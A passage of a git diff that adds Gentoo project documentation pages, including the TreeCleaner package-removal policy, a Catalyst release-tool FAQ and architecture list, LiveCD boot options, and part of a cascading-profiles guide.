+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23fvwm-crystal">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/x11-themes/gkrellm-themes">x11-themes/gkrellm-themes</uri></ti>
+<ti>A pack of ~200 themes for GKrellM</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23gkrellm-themes">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/x11-themes/psi-themes">x11-themes/psi-themes</uri></ti>
+<ti>Iconsets for Psi, a Qt4 Jabber Client</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23psi-themes">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/x11-themes/xcursor-neutral">x11-themes/xcursor-neutral</uri></ti>
+<ti>"Neutral_Plus", the standard X.Org mouse cursor with shadows and animations.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23xcursor-neutral">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/x11-wm/stumpwm">x11-wm/stumpwm</uri></ti>
+<ti>Stumpwm is a tiling, keyboard driven X11 Window Manager written entirely in Common Lisp.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23stumpwm">Open Bugs</uri></ti></tr>
+</table>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/qa/treecleaners/policy.xml b/xml/htdocs/proj/en/qa/treecleaners/policy.xml
new file mode 100644
index 00000000..92942fff
--- /dev/null
+++ b/xml/htdocs/proj/en/qa/treecleaners/policy.xml
@@ -0,0 +1,127 @@
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/qa/treecleaners/policy.xml,v 1.2 2008/12/14 23:12:52 darkside Exp $ -->
+
+<guide link="/proj/en/qa/treecleaners/policy.xml" lang="en">
+<title>TreeCleaner Policy</title>
+
+<author title="Author">
+  <mail link="antarus@gentoo.org">Alec Warner</mail>
+</author>
+
+<abstract>
+This guide covers policy that should be followed by TreeCleaner project
+members.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>0.2</version>
+<date>2008-12-14</date>
+
+<chapter>
+<title>Policy</title>
+
+<section>
+<title>Removal Criteria</title>
+<body>
+<p>
+The goal of the tree cleaning project is not to remove packages that
+developers are willing to work on.  To this end there exists certain
+criteria that must be met for a package to be eligible for removal by
+the tree cleaning project.  They are:</p>
+<ol>
+    <li>The Package has open bugs on the Gentoo bugzilla.  These open bugs
+are assigned to maintainer-needed and have typically been neglected for
+some time.  It is the policy of the treecleaner project to attempt to fix
+simple bugs (such as a bad DEPEND atom, minor QA violations, and simple
+revbumps).</li>
+    <li>Package has no active maintainer.  This can mean any of the following:
+        <ul>
+            <li>The package has no metadata.xml.</li>
+            <li>The package is assigned to maintainer-needed.</li>
+            <li>The team who oversees the package's herd has been contacted
+                and no one has shown interest.</li>
+            <li>The listed maintainer has shown no interest and does not
+                respond to e-mails or on bugs.gentoo.org.</li>
+            <li>The listed maintainer is no longer a Gentoo developer.</li>
+       </ul>
+    </li>
+    <li>The package should have dead or unresponsive upstream.  If upstream isn't
+        taking or fixing bugreports this causes problems as Gentoo relies heavily on
+        upstream in many cases.  Note the wording here is <b>should</b>, packages
+        are not required to have a dead upstream, this is merely a heuristic that the
+        tree cleaning project relies on.
+    </li>
+</ol>
+</body>
+</section>
+
+<section>
+<title>Using Bugzilla</title>
+<body>
+<p>Tracking bugs is an important part of the TreeCleaner project.  Improper tracking
+leads to lost packages (not assigned to anyone useful) or packages assigned that are
+not canidates for removal.  To avoid this some general policy must be set up.</p>
+<ol>
+    <li>Only take bugs from maintainer-needed unless you have spoken with the current
+        herd or maintainer.  We are here to clean out packages no one is maintaining
+        or that the maintainer/herd deems horribly broken and unfixable.</li>
+    <li>When taking a bug, keep maintainer-needed in the CC field.  Some people
+        actually watch that alias and the goal is not to hide progress (or lack
+        thereof) from maintainer-needed.  Don't disturb their mailflow.</li>
+    <li>When assigning a bug from maintainer-needed be sure you are going to either
+        work on the bug; the goal is not to dump maintainer-needed on treecleaners.
+        The goal is to have a focussed set of bugs that the treecleaner project is
+        currently working on.  Don't assign a bug to treecleaners unless you have
+        spoken to a project member on irc, or e-mail the alias and be like "hey this
+        package sucks take a look at it for me."  Generally inappropriately assigning
+        bugs angers project members and they will assign it back to the original
+        assignee.</li>
+    <li>PMASKED is a keyword we use to indicate that we have package.masked the
+        package in question.  Use it when you know that the package is in pmask.</li>
+    <li>PENDING REMOVAL [yyyy-mm-dd] is a status whiteboard phrase we use to indicate when
+        the package is scheduled for removal.  PENDING REMOVAL implies you have sent
+        last rites for the package.  Please do not forget to send last rites for a
+        package that you masked.</li>
+    <li>VOTE is a status whiteboard phrase we used to indicate when a package is up
+        for a removal vote.  A vote typically requires 1/3rd of the TreeCleaner project
+        to vote in an affirmative manner.  See the above section on the removal process
+        for more information</li>
+</ol>
+<p>When you are working on a particular bug for TreeCleaners and
+it has dependencies or blockers do NOT close them until the package
+is removed.  There have been cases when a package was masked and the
+dependencies were closed only to have the package taken over by a developer.
+Please close the dependencies when the package is removed</p>
+</body>
+</section>
+
+<section>
+<title>Removal Process</title>
+<body>
+<p><b>Heuristics</b><br/>
+Treecleaners search the tree using basic heuristics; things like:</p>
+<ul>
+   <li>When the package was last touched via cvs</li>
+   <li>Packages that have no maintainer and/or no herd</li>
+   <li>Packages that missed major Gentoo upgrades, for example things
+       unported to modular X or things that don't compile with gcc-4</li>
+   <li>Packages that have multiple open bugs that have been open many months
+       with what appears to be no interested from the community</li>
+</ul>
+<p>Once located, a package is inspected by a Treecleaner project member.  The developer
+attempts to ascertain the package's problem and tries to find a solution.  This may
+involve asking a related herd for advice, revbumping the package in question, making
+QA ebuild fixes, patching the software, or a number of other tasks.</p>
+<p>If the Treecleaner decides that the package is beyond fixing they must notify the rest
+of the Treecleaner project and the project will vote on the package.  In order for a Vote
+to be had, the developer in question must present a case for removing the package.  If
+1/3rd of the team agrees with the presented case the packages will be 'voted off' survivor
+style.</p>
+</body>
+</section>
+</chapter>
+</guide>
+<!-- kate: space-indent on; indent-width 2; replace-tabs on; indent-mode normal; -->
diff --git a/xml/htdocs/proj/en/releng/catalyst/faq.xml b/xml/htdocs/proj/en/releng/catalyst/faq.xml
new file mode 100644
index 00000000..6e6a8f2c
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/catalyst/faq.xml
@@ -0,0 +1,186 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/proj/en/releng/catalyst/faq.xml">
+
+<title>Catalyst FAQ</title>
+<author title="Author">John P. Davis</author>
+<author title="Author">Daniel Robbins</author>
+<author title="Contributor">William Kilian</author>
+<author title="Editor">Chris Gianelloni</author>
+
+<abstract>
+Frequently asked questions relating to the Catalyst tool.
+</abstract>
+
+<version>1.1</version>
+<date>2008-02-05</date>
+
+<chapter>
+<title>Frequently Asked Questions</title>
+
+<section>
+<title>How do I build a stage2 and stage3 tarball for a non-generic CPU type,
+such as pentium4?</title>
+<body>
+
+<p>
+First, make sure that your hardware is capable of building such a stage. If
+you want to build a <c>pentium4</c> stage, you will need to build on a Pentium
+4 or AMD64/Opteron system (or better). You cannot build a <c>pentium4</c> stage
+on an Athlon XP system, as Athlon XP CPUs do not support SSE2 instructions, and
+SSE2 instructions will be enabled for <c>pentium4</c> stages. Likewise, if you
+want to build a <c>g4</c> stage, you will need to do this on a PowerPC G4 or G5
+system.
+</p>
+<p>
+Once you've made sure that you're building on the right hardware, simply follow
+the steps above, but for building the stage2, simply change the <c>subarch</c>
+setting to a valid non-generic subarchitecture (ie. <c>pentium4</c>.) Then your
+stage2 will be built for the subarchitecture that you specify. Then, use this
+stage2 as the "seed" stage to build your stage3. Of course, you will also want
+to modify the <c>subarch</c> setting in your stage3 spec to match what you used
+in your stage2 spec.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>I want to build a bunch of stages for various subarches. How should I
+do this?</title>
+<body>
+
+<p>
+First, build a generic stage1. Then use this stage1 to build a specialized
+stage2 and stage3. Use the stage1 again to build another specialized stage2 and
+stage3. You do not need to re-build the stage1 -- all your specialized stage2's
+and stage3's can use the same "seed" stage1.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Can I build a stage1 for a non-generic CPU type?</title>
+<body>
+
+<p>
+This is a very bad idea, as users expect stage1's to work on any type of
+subarchitecture. This way, they can use the stage1 on any system without
+worries. You should be sure to not "pollute" your stage1 with non-generic
+CPU-specific code. Always use a "generic" stage3 as a seed to build a new
+stage1.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>I thought that catalyst was able to build stages "from scratch." If
+catalyst builds stages from scratch, then why does it need a "seed
+stage"?</title>
+<body>
+
+<p>
+Good question. As you know, a stage2 and stage3 are dependent on previous
+stages for building, which is expected and made clear by their name (ie. a
+"stage2" implies that there was a "stage1".)  However, catalyst does need a
+seed stage for building a stage1, so in regards to building a stage1 it's worth
+looking into why this is necessary. When building a stage1, catalyst uses the
+seed stage3 to set up a chroot environment. Inside the chroot environment, the
+new stage1 is built by setting the <c>ROOT</c> environment variable to
+<path>/tmp/stage1root</path>. This instructs the package manager to merge all
+new packages not to the current filesystem, but to the filesystem in
+<path>/tmp/stage1root</path>. Catalyst then tars up <path>/tmp/stage1root</path>
+and it becomes the target stage1. What this means is that when catalyst builds
+a stage1, the stage1 itself does not inherit any binaries or libraries from the
+seed that is used. The seed that is used <e>does</e> impact the target stage1
+somewhat -- the Linux headers on the seed are used for building the stage1's
+glibc, and the compilers on the seed are used to compile all the programs on
+the stage1. The seed stage is used to isolate the stage1 build process from
+your local system, and also allows for x86 stage1's to be built on amd64
+systems, for example.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Is there an official HOWTO for Catalyst?</title>
+<body>
+
+<p>
+Currently, there is no official HOWTO. If you are interested in writing one,
+though, please file a bug with the HOWTO attached to it. The lack of an
+official HOWTO does not mean that catalyst is completely undocumented, though.
+When catalyst is emerged, a well commented set of example spec files are
+installed to <path>/usr/share/doc/catalyst-$version/examples</path>.
+</p>
+<p>
+If you still have questions after reading through the examples, feel
+free to subscribe to the gentoo-catalyst mailing list.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Where do I put per-package use flags, mask settings, etc.?</title>
+<body>
+
+<p>
+Catalyst supports the configuration files in /etc/portage. Just add the
+following to your spec file, and make sure that you use the same
+<c>portage_confdir</c> setting for your seed stages as well:
+</p>
+<p>
+portage_confdir: /path/to/custom/etc/portage
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Should I really build my own stage1 or just use one from a Gentoo
+mirror?</title>
+<body>
+
+<p>
+It is best practice to <b>always</b> build your own stages if you are not using
+the same snapshot that was used to build the last release. The state of the tree
+is very much dependent on itself. If you have a stage1 from 3 months ago, it is
+very likely that you will run into problems with blockers and other changes in
+the tree that will cause you build or compatibility problems.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>How do I keep my GRP/stages/LiveCD packages updated?</title>
+<body>
+
+<p>
+Catalyst uses Portage for all of the building work, so all that you have to do
+is regenerate your Portage snapshot and rebuild your GRP/stages/LiveCD. Portage
+will follow all of its normal rules for deciding which packages to update.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Does Catalyst use any special USE flag syntax?</title>
+<body>
+
+<p>
+No, catalyst's USE flag syntax is exactly the same as portage's.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/catalyst/index.xml b/xml/htdocs/proj/en/releng/catalyst/index.xml
new file mode 100644
index 00000000..140c1369
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/catalyst/index.xml
@@ -0,0 +1,215 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+
+<name>Catalyst</name>
+<longname>Catalyst</longname>
+
+<description>
+This project develops the catalyst tool, which is used to build official
+Gentoo stage tarballs, PackageCD and InstallCD and LiveCD images.
+</description>
+
+<longdescription><p>
+The Gentoo catalyst project develops and supports the catalyst release building
+tool. The design of catalyst is meant to be easy to use, cutomize, and
+maintain. It is also used in other Gentoo projects, such as GNAP.
+</p></longdescription>
+
+<goals>
+<p>
+The goal of the catalyst project is to provide a single multi-faceted tool
+that can reliably build all aspects of a Gentoo Linux release: stage tarballs,
+GRP package sets, and install CDs.
+</p>
+
+<p>
+Our specific development goals for <c>catalyst</c> include the following:
+ensuring it provides high-quality builds of Gentoo Linux, and for the tool to
+be easy to use, customize, extend and maintain. The catalyst tool is intended
+to be used by those who wish to create their own customized versions of Gentoo
+Linux, or their own customized LiveCDs. Our goal is to make catalyst a powerful
+tool that's a pleasure to use, and to ensure that the code we write is
+maintainable and of high-quality.
+</p>
+
+</goals>
+
+<extrachapter position="top">
+<title>Documentation</title>
+
+<section>
+<body>
+
+<p>
+The catalyst <uri link="faq.xml">FAQ</uri> attempts to answer
+commonly asked questions related to catalyst and its usage.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter position="bottom">
+<title>Supported Architectures</title>
+<section>
+<body>
+
+<p>
+Catalyst supports a number of architectures.  In catalyst-speak, an
+"architecture" is a general type of CPU platform. Here is a
+complete list of architectures supported by catalyst:
+</p>
+
+<table>
+<tr>
+<th>Architecture</th>
+<th>Description</th>
+</tr>
+<tr>
+<ti><c>alpha</c></ti>
+<ti>The Alpha processor (all flavors)</ti>
+</tr>
+<tr>
+<ti><c>amd64</c></ti>
+<ti>AMD's 64-bit platform, also known as "Opteron" or
+"x86-64".  This also includes Intel EM64T machines.</ti>
+</tr>
+<tr>
+<ti><c>arm</c></ti>
+<ti>ARM-based processors</ti>
+</tr>
+<tr>
+<ti><c>hppa</c></ti>
+<ti>HP's PA-RISC systems</ti>
+</tr>
+<tr>
+<ti><c>ia64</c></ti>
+<ti>Intel's Itanium 64-bit platform (Itanium Classic and
+Itanium 2)</ti>
+</tr>
+<tr>
+<ti><c>mips</c></ti>
+<ti>MIPS-based systems</ti>
+</tr>
+<tr>
+<ti><c>ppc</c></ti>
+<ti>32-bit PowerPC platforms, including original PowerPC
+systems, and Apple's G3, G4 and G5 in 32-bit mode</ti>
+</tr>
+<tr>
+<ti><c>ppc64</c></ti>
+<ti>64-bit PowerPC platforms, including IBM power chips and Apple's G5 in
+64-bit mode</ti>
+</tr>
+<tr>
+<ti><c>s390</c></ti>
+<ti>IBM's S/390 platform, including zSeries machines</ti>
+</tr>
+<tr>
+<ti><c>sh</c></ti>
+<ti>32-bit SuperH-based systems</ti>
+</tr>
+<tr>
+<ti><c>sparc</c></ti>
+<ti>32-bit Sparc-based systems</ti>
+</tr>
+<tr>
+<ti><c>sparc64</c></ti>
+<ti>64-bit Sparc-based systems</ti>
+</tr>
+<tr>
+<ti><c>x86</c></ti>
+<ti>Intel-compatible 32-bit CPU, ranging from i386 to Pentium 4 and
+Athlon XP.</ti>
+</tr>
+</table>
+
+<p>
+For each architecture, catalyst supports a number of
+"sub-architectures."  A sub-architecture is a specific variant of
+the architecture.  For example, <c>pentium4</c> is a
+sub-architecture of the <c>x86</c> architecture.  Here is a list of
+all sub-architectures supported by catalyst:
+</p>
+
+<table>
+<tr>
+<th>Architecture</th>
+<th>Sub-architectures</th>
+</tr>
+<tr>
+<ti><c>alpha</c></ti>
+<ti><c>alpha ev4 ev45 ev5 ev56 pca56 ev6 ev67</c></ti>
+</tr>
+<tr>
+<ti><c>amd64</c></ti>
+<ti><c>amd64</c></ti>
+</tr>
+<tr>
+<ti><c>arm</c></ti>
+<ti><c>arm</c></ti>
+</tr>
+<tr>
+<ti><c>hppa</c></ti>
+<ti><c>hppa</c></ti>
+</tr>
+<tr>
+<ti><c>ia64</c></ti>
+<ti><c>ia64</c></ti>
+</tr>
+<tr>
+<ti><c>mips</c></ti>
+<ti><c>mips mips1 mips2 mips3 mips4 mipsel mipsel1 mipsel2
+mipsel3 mipsel4 cobalt</c></ti>
+</tr>
+<tr>
+<ti><c>ppc</c></ti>
+<ti><c>ppc power-ppc g3 g4</c></ti>
+</tr>
+<tr>
+<ti><c>ppc64</c></ti>
+<ti><c>ppc64 power3 power4 power5 g5</c></ti>
+</tr>
+<tr>
+<ti><c>s390</c></ti>
+<ti><c>s390</c></ti>
+</tr>
+<tr>
+<ti><c>sparc</c></ti>
+<ti><c>sparc</c></ti>
+</tr>
+<tr>
+<ti><c>sparc64</c></ti>
+<ti><c>sparc64</c></ti>
+</tr>
+<tr>
+<ti><c>x86</c></ti>
+<ti><c>x86 i386 i486 i586 i686 pentium-mmx athlon athlon-xp
+athlon-mp pentium3 pentium4</c></ti>
+</tr>
+</table>
+
+<p>
+You'll notice that all architectures have a sub-architecture with
+the same name as the architecture.  This sub-architecture is meant
+to represent a "generic" build that should work on all systems in
+that architecture.Each sub-architecture has an associated set of
+<c>CFLAGS</c>, <c>CXXFLAGS</c>, as well as a <c>CHOST</c> and set of
+<c>USE</c> variables that are enabled on that sub-architecture.  The
+<c>USE</c> settings are intended to enable any CPU-specific options,
+such as <c>mmx</c> or <c>altivec</c>.
+</p>
+
+<note>
+Catalyst currently also supports the ability to build
+<c>x86</c> architecture stages on <c>amd64</c> systems.
+</note>
+
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/releng/docs/README.txt b/xml/htdocs/proj/en/releng/docs/README.txt
new file mode 100644
index 00000000..0f052ff6
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/docs/README.txt
@@ -0,0 +1,113 @@
+
+This file lists the possible command line options that can be used to tweak
+the boot process of this CD.  This lists the Gentoo-specific options, along
+with a few options that are built-in to the kernel, but that have been proven
+very useful to our users.  Also, all options that start with "do" have a "no"
+inverse, that does the opposite.  For example, "doscsi" enables SCSI support
+in the initial ramdisk boot, while "noscsi" disables it.
+
+Hardware options:
+
+acpi=on		This loads support for ACPI and also causes the acpid daemon to
+		be started by the CD on boot.  This is only needed if your
+		system requires ACPI to function properly.  This is not required
+		for Hyperthreading support.
+acpi=off	Completely disables ACPI.  This is useful on some older systems,
+		and is also a requirement for using APM.  This will disable any
+		Hyperthreading support of your processor.
+console=X	This sets up serial console access for the CD.  The first
+		option is the device, usually ttyS0 on x86, followed by any
+		connection options, which are comma separated.  The default
+		options are 9600,8,n,1.
+dmraid=X	This allows for passing options to the device-mapper RAID
+		subsystem.  Options should be encapsulated in quotes.
+doapm		This loads APM driver support.  This requires you to also use
+		acpi=off.
+dopcmcia	This loads support for PCMCIA and Cardbus hardware and also
+		causes the pcmcia cardmgr to be started by the CD on boot.
+		This is only required when booting from a PCMCIA/Cardbus device.
+doscsi		This loads support for most SCSI controllers.  This is also a
+		requirement for booting most USB devices, as they use the SCSI
+		subsystem of the kernel.
+hda=stroke	This allows you to partition the whole hard disk even when your
+		BIOS is unable to handle large disks.  This option is only used
+		on machines with an older BIOS.  Replace hda with the device
+		that is requiring this option.
+ide=nodma	This forces the disabling of DMA in the kernel and is required
+		by some IDE chipsets and also by some CDROM drives.  If your
+		system is having trouble reading from your IDE CDROM, try this
+		option.  This also disables the default hdparm settings from
+		being executed.
+noapic		This disables the Advanced Programmable Interrupt Controller
+		that is present on newer motherboards.  It has been known to
+		cause some problems on older hardware.
+nodetect	This disables all of the autodetection done by the CD, including
+		device autodetection and DHCP probing.  This is useful for doing
+		debugging of a failing CD or driver.
+nodhcp		This disables DHCP probing on detected network cards.  This is
+		useful on networks with only static addresses.
+nodmraid	Disables support for device-mapper RAID, such as that used for
+		on-board IDE/SATA RAID controllers.
+nofirewire	This disables the loading of Firewire modules.  This should only
+		be necessary if your Firewire hardware is causing a problem with
+		booting the CD.
+nogpm		This diables gpm console mouse support.
+nohotplug	This disables the loading of the hotplug and coldplug init
+		scripts at boot.  This is useful for doing debugging of a
+		failing CD or driver.
+nokeymap	This disables the keymap selection used to select non-US
+		keyboard layouts.
+nolapic		This disables the local APIC on Uniprocessor kernels.
+nosata		This disables the loading of Serial ATA modules.  This is useful
+		if your system is having problems with the SATA subsystem.
+nosmp		This disables SMP, or Symmetric Multiprocessing, on SMP-enabled
+		kernels.  This is useful for debugging SMP-related issues with
+		certain drivers and motherboards.
+nosound		This disables sound support and volume setting.  This is useful
+		for systems where sound support causes problems.
+nousb		This disables the autoloading of USB modules.  This is useful
+		for debugging USB issues.
+
+Volume/Device Management:
+
+dodevfs		This enables the deprecated device filesystem on 2.6 systems.
+		You will also need to use noudev for this to take effect.
+		Since devfs is the only option with a 2.4 kernel, this option
+		has no effect if booting a 2.4 kernel.
+doevms2		This enables support for IBM's pluggable EVMS, or Enterprise
+		Volume Management System.  This is not safe to use with lvm2.
+dolvm2		This enables support for Linux's Logical Volume Management.
+		This is not safe to use with evms2.
+noudev		This disables udev support on 2.6 kernels.  This option requires
+		that dodevfs is used.  Since udev is not an option for 2.4
+		kernels, this options has no effect if booting a 2.4 kernel.
+unionfs		Enables support for Unionfs on supported CD images.  This will
+		create a writable Unionfs overlay in a tmpfs, allowing you to
+		change any file on the CD.
+unionfs=X	Enables support for Unionfs on supported CD images.  This will
+		create a writable Unionfs overlay on the device you specify.
+		The device must be formatted with a filesystem recognized and
+		writable by the kernel.
+
+Other options:
+
+debug		Enables debugging code.  This might get messy, as it displays
+		a lot of data to the screen.
+docache		This caches the entire runtime portion of the CD into RAM, which
+		allows you to umount /mnt/cdrom and mount another CDROM.  This
+		option requires that you have at least twice as much available
+		RAM as the size of the CD.
+noload=X	This causes the initial ramdisk to skip the loading of a
+		specific driver that may be causing a problem.  Replace X with
+		the driver name.  Multiple drivers can be specified by a
+		comma-separated list.
+nox		This causes an X-enabled LiveCD to not automatically start X,
+		but rather, to drop to the command line instead.
+scandelay	This causes the CD to pause for 10 seconds during certain
+		portions the boot process to allow for devices that are slow to
+		initialize to be ready for use.
+scandelay=X	This allows you to specify a given delay, in seconds, to be
+		added to certain portions of the boot process to allow for
+		devices that are slow to initialize to be ready for use.
+		Replace X with the number of seconds to pause.
+
diff --git a/xml/htdocs/proj/en/releng/docs/cascading-profiles.xml b/xml/htdocs/proj/en/releng/docs/cascading-profiles.xml
new file mode 100644
index 00000000..b1d9b754
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/docs/cascading-profiles.xml
@@ -0,0 +1,349 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/docs/cascading-profiles.xml,v 1.10 2007/11/28 20:22:39 robbat2 Exp $ -->
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+
+<guide link="/proj/en/releng/docs/cascading-profiles.xml">
+<title>Gentoo Linux Cascading/Stackable Profiles</title>
+
+<author title="Author">
+	<mail link="seemant@gentoo.org">Seemant Kulleen</mail>
+</author>
+
+<author title="Editor">
+	<mail link="dberkholz@gentoo.org">Donnie Berkholz</mail>
+</author>
+<author title="Editor">
+	<mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+
+<abstract>
+	This guide covers the philosophy of cascading system profiles and how to
+	implement them.
+</abstract>
+
+<license/>
+
+<version>DRAFT</version>
+<date>2004-11-08</date>
+
+<chapter>
+	<title>Introduction</title>
+	<section>
+		<title>Main Goals</title>
+		<body>
+		<p>Historically, one of the nice things about Gentoo has been the
+		lack of bloat.  <mail link="danarmak@gentoo.org">Dan Armak</mail>'s
+		<uri
+		link="/proj/en/devrel/handbook/handbook.xml?part=2&amp;chap=2">eclasses</uri>
+		are a perfect example of shared code being put into a separate file
+		that can be read by all who need it.  In a similar vein, the
+		<path>${PORTDIR}/profiles</path> directory hierarchy in Gentoo has
+		been the victim of much bloating up lately.  Cascading Profiles 
+		(also known as stackable profiles) take a similar "object-oriented"
+		approach to the Gentoo system profiles.</p>
+		<warn>In order to use cascading profiles, you need to upgrade portage
+		to at least 2.0.51 before you switch the profile link.</warn>
+		</body>
+	</section>
+
+	<section>
+		<title>Release Overview</title>
+		<body>
+		<p>So what do we gain from cascading the profiles? A cursory glance
+		at each profile (take the 2004.3 profiles for each of x86, ppc,
+		sparc and sparc64 as an example) reveals that there are a LOT of
+		commonalities. The most obvious example is the virtuals file.  Up
+		until now, every time a new virtual was introduced, the virtuals 
+		files in <b>each profile directory</b> had to be edited to add that
+		virtual to the profile.  Also, for a basic Gentoo (GNU/Linux)
+		system, there is a common set of packages that describes it.  Why
+		repeat this information for each profile we have (and each new
+		profile that comes along)?  Introduce cascading profiles.</p>
+		</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>Dissecting the Stack</title>
+	<section>
+		<title>The Base Profile</title>
+		<body>
+		<p>
+		<mail link="pebenito@gentoo.org">Chris PeBenito</mail> made the
+		first jump into cascading profile by distilling out the basic set of
+		packages that any *nix based system will require.
+		<path>${PORTDIR}/profiles/base</path> contains this description of a
+		basic system.  Every Gentoo profile thus far has had each of the
+		packages outlined in the <path>packages</path> file in that
+		directory.  Additionally, each profile has the same virtuals as
+		defined in the <path>virtuals</path> file there.  Finally, those
+		<uri
+		link="/doc/en/handbook/handbook-x86.xml?part=2&amp;chap=2">USE</uri>
+		flags which are fairly architecture independent are described in
+		the <path>use.defaults</path> file -- these USE flags are common to
+		all the architectures thus far.  Looking at the
+		<path>packages</path> file, you might wonder where <uri
+		link="http://packages.gentoo.org/package/sys-apps/util-linux">util-linux</uri>
+		package went.  Well, seeing as there are efforts to expand Gentoo into
+		the worlds of <uri
+		link="http://www.gnu.org/software/hurd/">GNU/Hurd</uri>, <uri
+		link="http://www.openbsd.org/">OpenBSD</uri> and so on, the thinking
+		was that the base profile should be applicable to those as well.
+		Admittedly, <uri
+		link="http://packages.gentoo.org/package/sus-apps/coreutils">coreutils</uri>
+		seems a little GNU specific, but one step at a time.</p>
+		<p>Hopefully, once you read the files in the base directory, you
+		will agree that for the most part, it describes an implementation
+		agnostic <b>minimal</b> *nix system.</p>
+		</body>
+	</section>
+	<section>
+		<title>The Default (Linux/GNU) Profile</title>
+		<body>
+		<p>This profile describes in relatively high-level terms the
+		so-called <b>default-linux</b> profile.  Historically, every new
+		architecture supported by Gentoo has had a <b>default</b> profile,
+		and this is a high level replacement of that.  Between the
+		<b>base</b> profile and the <b>default-linux</b> profile, we should
+		have a fairly complete description of a minimal GNU/Linux
+		system.  This is done by adding to (or removing from) the aggregate
+		packages list, virtuals mappings and further defining the USE flag
+		mappings (additional USE flags may be introduced or masked out).</p>
+		</body>
+	</section>
+	<section>
+		<title>The Architecture Specific Profiles</title>
+		<body>
+		<p>These profiles extend the <b>default-linux</b> aggregate profile
+		by adding to the packages list (or removing from it), and also by
+		redefining specific virtuals mappings and USE flags.  Additionally,
+		USE flags may be further masked here.
+		</p>
+		</body>
+	</section>
+	<section>
+		<title>The Sub-Architecture Profiles</title>
+		<body>
+		<p>This specificity is completely optional.  In the current
+		implementation, the <b>sparc</b> profile is further refined into a
+		family of profiles for 32-bit SPARC architectures and 64-bit SPARC
+		architectures, since the SPARC family has a lot of consistency and
+		similarity.  Additionally the MIPS sub-architectures will define
+		sub-architecture profiles.  These profiles essentially delineate,
+		again in fairly high-level terms, the differences between the
+		sub-architectures.  As an example, <uri
+		link="http://packages.gentoo.org/package/sys-devel/gcc-sparc64">gcc-sparc64</uri> is required on the
+		SPARC64 profiles, but <b>not</b> permitted on the SPARC32 profiles,
+		yet they both use the same <uri
+		link="http://packages.gentoo.org/package/sys-boot/silo">bootloader</uri>.
+		Thus, the bootloader would be in the parent (architecture specific)
+		profile, and the gcc-sparc64 package would be defined in the
+		sparc64 sub-architecture profile.</p>
+		</body>
+	</section>
+	<section>
+		<title>The Specific Profile</title>
+		<body>
+		<p>This is it: the nuts and bolts of the final profile being
+		defined.  This profile is used primarily to lock down specific
+		versions (though the higher level profiles are also free to do so)
+		of packages and define exactly what, for example, the
+		<b>sparc64-2004.0</b> profile is all about and how it differs from
+		the <b>sparc64-1.4</b> and <b>sparc64-gcc33</b> profiles, or how the
+		<path>x86/2004.0</path> profile differs from the
+		<path>x86/gcc2</path> profile.</p>
+		</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>Profile Classes</title>
+	<section>
+		<title>Introduction</title>
+		<body>
+		<p>Historically, every new architecture that Gentoo supports gets a
+		<path>default-${arch}-${version}</path> directory in
+		<path>${PORTDIR}/profiles</path>.  Invariably, they have been linux
+		(with GNU userland) based profiles.  The future, however, is open.
+		So with cascading profiles, we can define different classes of
+		profiles that extend the base profile.  The first class, which all
+		the current architectures will fall into, will be
+		<path>default-linux</path>.  The other profile classes,
+		incidentally, are <path>selinux</path> and <path>hardened</path>.
+		This document focuses exclusively on the <path>default-linux</path>
+		profile class, because the other two are very specialised classes
+		handled by <uri link="/proj/en/hardened/">the Hardened team</uri>.
+		</p>
+		</body>
+	</section>
+
+	<section>
+		<title>The Default (Linux) Profile</title>
+		<body>
+		<p>Now, the <path>default-linux</path> directory itself contains
+		the files <path>parent</path>, <path>packages</path>,
+		<path>use.default</path>, <path>use.mask</path>, and
+		<path>virtuals</path>, along with directories which we'll cover in
+		the next section.</p>
+
+		<p>Let us begin with the <path>parent</path> file.  This file
+		points to the profile whose attributes we are inheriting.  It
